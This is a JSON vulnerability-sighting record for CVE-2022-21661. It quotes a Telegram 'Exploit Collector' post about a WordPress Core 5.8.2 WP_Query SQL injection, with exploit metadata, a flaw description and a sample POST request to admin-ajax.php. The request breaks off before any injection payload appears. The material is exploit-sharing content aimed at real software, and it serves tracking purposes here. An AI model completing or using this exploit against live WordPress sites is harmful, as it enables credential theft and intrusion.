{"uuid": "6549385b-007e-4aa2-8acb-5f9196a35b4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-21661", "type": "seen", "source": "https://t.me/hacking_Attack/38530", "content": "Exploit Collector\nWordPress Core 5.8.2 SQL Injection\n\nhttps://3.bp.blogspot.com/-cErR-NKa5pU/WWlvUH06dSI/AAAAAAAAINw/w0uVuk51vEgh40coJSJAKFsc2nT9tBwYgCLcBGAs/s1600/h44.png \nWordPress Core version 5.8.2 suffers from a remote SQL injection vulnerability.\n\nMD5 | d7d5f48971d62eb48cd036c99568cc99\n\nDownload\n# Exploit Title: WordPress Core 5.8.2 - 'WP_Query' SQL Injection\n# Date: 11/01/2022\n# Exploit Author: Aryan Chehreghani\n# Vendor Homepage: https://wordpress.org\n# Software Link: https://wordpress.org/download/releases\n# Version: < 5.8.3\n# Tested on: Windows 10\n# CVE : CVE-2022-21661\n\n# [ VULNERABILITY DETAILS ] : \n\n#This vulnerability allows remote attackers to disclose sensitive information on affected installations of WordPress Core,\n#Authentication is not required to exploit this vulnerability, The specific flaw exists within the WP_Query class,\n#The issue results from the lack of proper validation of a user-supplied string before using it to construct SQL queries,\n#An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise.\n\n# [ References ] : \n\nhttps://wordpress.org/news/category/releases\nhttps://www.zerodayinitiative.com/advisories/ZDI-22-020\nhttps://hackerone.com/reports/1378209\n\n# [ Sample Request ] :\n\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: localhost\nUpgrade-Insecure_Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.99\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: cross-site\nSec-Fetch-User: ?1\nCache-Control: max-age=0\nConnection: close \nContent-Type: application/x-www-form-urlencoded\n\naction=\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:22.006010Z"}